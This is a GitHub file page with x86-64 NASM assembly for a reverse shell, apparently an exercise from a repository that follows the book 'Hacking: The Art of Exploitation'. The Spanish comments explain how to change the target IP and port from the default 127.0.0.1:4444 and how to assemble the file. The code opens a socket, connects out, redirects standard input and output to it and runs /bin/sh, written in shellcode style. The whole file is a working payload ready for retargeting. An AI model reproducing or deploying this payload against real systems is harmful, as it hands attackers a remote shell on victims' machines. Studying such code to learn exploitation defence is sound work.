Hacking-The-Art-Of-Explotation/codigo/0x550/reverse_shell.s at main · tostolaza/Hacking-The-Art-Of-Explotation · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
; Reverse shell — conecta a 127.0.0.1:4444 y devuelve /bin/sh.
;
; Para cambiar IP/puerto, modificar:
;   IP   en bytes (htonl): 127.0.0.1 = 0x0100007F (LE: 7F 00 00 01 → en push: 0x0100007F)
;   PORT en bytes (htons): 4444 = 0x115C → BE = 0x5C11
;
; Compilar:
;   nasm -f elf64 reverse_shell.s -o reverse_shell.o
;   ld reverse_shell.o -o reverse_shell

section .text
global _start

_start:
    ; --- socket(AF_INET, SOCK_STREAM, 0) ---
    push 41 ; sys_socket
    pop  rax
    push 2  ; AF_INET
    pop  rdi
    push 1  ; SOCK_STREAM
    pop  rsi
    cdq             ; rdx = 0 (sign-extiende eax → edx, ambos 0)
    syscall
    mov  rdi, rax   ; rdi = sockfd

    ; --- connect(sockfd, &addr, 16) ---
    ; sockaddr_in: family=AF_INET(2), port=htons(4444)=0x5C11, addr=127.0.0.1=0x0100007F
    mov  dword [rsp - 4], 0x0100007F   ; addr
    mov  word  [rsp - 6], 0x5C11       ; port
    mov  word  [rsp - 8], 2            ; family
    sub  rsp, 8
    mov  rsi, rsp
    push 16
    pop  rdx
    push 42 ; sys_connect
    pop  rax
    syscall

    ; --- dup2(sockfd, 0/1/2) ---
    push 2
    pop  rsi
.dup_loop:
    push 33 ; sys_dup2
    pop  rax
    syscall
    dec  rsi
    jns  .dup_loop

    ; --- execve("/bin//sh", NULL, NULL) ---
    mov  rbx, 0x68732f2f6e69622f
    push rbx
    mov  rdi, rsp
    xor  rsi, rsi
    cdq
    mov  al, 59
    syscall